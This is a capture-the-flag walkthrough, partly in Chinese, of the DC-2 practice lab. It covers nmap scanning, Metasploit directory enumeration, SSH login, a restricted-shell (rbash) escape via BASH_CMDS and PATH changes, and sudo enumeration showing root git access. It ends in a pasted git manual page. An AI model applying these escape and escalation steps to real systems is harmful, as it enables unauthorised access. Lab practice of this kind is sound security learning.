Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
As with the original DC-1, it’s designed with beginners in mind.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Just like with DC-1, there are five flags including the final flag.
And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience.
In short, the only flag that really counts, is the final flag.
For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc.
I haven’t explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.
0x01.上nmap
可以发现1为网关，2为宿主机，6为kali，那么4就是我们的受害者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
root@JIYE:~/tmp/DC2# nmap -sP 192.168.1.0/24 -oN nmap.sP Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-20 21:59 EDT Nmap scan report for 192.168.1.1 Host is up (0.0018s latency). MAC Address: 68:D1:BA:1F:FD:48 (Shenzhen Youhua Technology) Nmap scan report for 192.168.1.2 Host is up (0.00043s latency). MAC Address: 50:5B:C2:8C:BE:A5 (Liteon Technology) Nmap scan report for 192.168.1.4 Host is up (0.00029s latency). MAC Address: 00:0C:29:83:64:3E (VMware) Nmap scan report for 192.168.1.6 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.08 seconds root@JIYE:~/tmp/DC2#
root@JIYE:~/tmp/DC2# nmap -A 192.168.1.4 -p 1-65535 -oN nmap.A Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-20 22:05 EDT Nmap scan report for 192.168.1.4 Host is up (0.00048s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Did not follow redirect to http://dc-2/ |_https-redirect: ERROR: Script execution failed (use -d to debug) 7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0) | ssh-hostkey: | 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA) | 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA) | 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA) |_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519) MAC Address: 00:0C:29:83:64:3E (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.48 ms 192.168.1.4
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds root@JIYE:~/tmp/DC2#
Name Current Setting Required Description ---- --------------- -------- ----------- DICTIONARY /usr/share/metasploit-framework/data/wmap/wmap_dirs.txt no Path of word dictionary to use PATH / yes The path to identify files Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections THREADS 1 yes The number of concurrent threads (max one per host) VHOST no HTTP server virtual host
msf5 auxiliary(scanner/http/dir_scanner) > set rhosts 192.168.1.4 rhosts => 192.168.1.4 msf5 auxiliary(scanner/http/dir_scanner) > set threads 50 threads => 50 msf5 auxiliary(scanner/http/dir_scanner) > run
[*] Detecting error code [*] Using code '404' as not found for 192.168.1.4 [+] Found http://192.168.1.4:80/icons/ 404 (192.168.1.4) [+] Found http://192.168.1.4:80/wp-includes/ 404 (192.168.1.4) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
root@JIYE:~/tmp/DC2# ssh tom@192.168.1.4 -p 7744 The authenticity of host '[192.168.1.4]:7744 ([192.168.1.4]:7744)' can't be established. ECDSA key fingerprint is SHA256:ZbyT03GNDQgEmA5AMiTX2N685NTzZuOoyMDIA+DW1qU. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[192.168.1.4]:7744' (ECDSA) to the list of known hosts. tom@192.168.1.4's password:
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. tom@DC-2:~$
发现flag3.txt，查看发现有rbash限制
1 2 3 4
tom@DC-2:~$ ls flag3.txt usr tom@DC-2:~$ cat flag3.txt -rbash: cat: command not found
0x10.rbash绕过
1 2
BASH_CMDS[a]=/bin/sh;a /bin/bash
1 2 3 4 5 6 7 8 9
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a $ /bin/bash tom@DC-2:~$ echo$0 /bin/bash tom@DC-2:~$ ls flag3.txt usr tom@DC-2:~$ cat flag3.txt bash: cat: command not found tom@DC-2:~$
这回为bash: cat: command not foun，下面导入环境变量
1 2
export PATH=$PATH:/bin export PATH=$PATH:/usr/bin
查看到flag3
1 2 3 4 5 6 7
tom@DC-2:~$ export PATH=$PATH:/bin tom@DC-2:~$ export PATH=$PATH:/usr/bin tom@DC-2:~$ ls flag3.txt usr tom@DC-2:~$ cat flag3.txt Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes. tom@DC-2:~$
jerry@DC-2:~$ sudo -l Matching Defaults entries for jerry on DC-2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2: (root) NOPASSWD: /usr/bin/git jerry@DC-2:~$
The most commonly used git commands are: add Add file contents to the index bisect Find by binary search the change that introduced a bug branch List, create, or delete branches checkout Checkout a branch or paths to the working tree clone Clone a repository into a new directory commit Record changes to the repository diff Show changes between commits, commit and working tree, etc fetch Download objects and refs from another repository grep Print lines matching a pattern init Create an empty Git repository or reinitialize an existing one log Show commit logs merge Join two or more development histories together mv Move or rename a file, a directory, or a symlink pull Fetch from and integrate with another repository or a local branch push Update remote refs along with associated objects rebase Forward-port local commits to the updated upstream head reset Reset current HEAD to the specified state rm Remove files from the working tree and from the index show Show various types of objects status Show the working tree status tag Create, list, delete or verify a tag object signed with GPG
'git help -a' and 'git help -g' lists available subcommands and some concept guides. See 'git help <command>' or 'git help <concept>' to read about a specific subcommand or concept. jerry@DC-2:~$
NAME git-config - Get and set repository or global options
SYNOPSIS git config [<file-option>] [type] [-z|--null] name [value [value_regex]] git config [<file-option>] [type] --add name value git config [<file-option>] [type] --replace-all name value [value_regex] git config [<file-option>] [type] [-z|--null] --get name [value_regex] git config [<file-option>] [type] [-z|--null] --get-all name [value_regex] git config [<file-option>] [type] [-z|--null] --get-regexp name_regex [value_regex] git config [<file-option>] [type] [-z|--null] --get-urlmatch name URL git config [<file-option>] --unset name [value_regex] git config [<file-option>] --unset-all name [value_regex] git config [<file-option>] --rename-section old_name new_name git config [<file-option>] --remove-section name git config [<file-option>] [-z|--null] -l | --list git config [<file-option>] --get-color name [default] git config [<file-option>] -e | --edit
DESCRIPTION You can query/set/replace/unset options with this command. The name is actually the section and the key separated by a dot, and the value will be escaped.
Multiple lines can be added to an option by using the --add option. If you want to update or unset an option which can occur on multiple lines, a POSIX regexp value_regex needs to be given. Only the existing values that match the regexp are updated or unset. If you want to handle the lines that do not match the regex, just prepend a single exclamation mark in front (see also the section called “EXAMPLES”).
The type specifier can be either --int or --bool, to make git config ensure that the variable(s) are of the given type and convert the value to the canonical form (simple decimal number for int, a "true" or "false" string for bool), or --path, which does some path expansion (see --path below). If no type specifier is passed, no checks or transformations are performed on the value.
When reading, the values are read from the system, global and repository local configuration files by default, and options --system, --global, --local and :
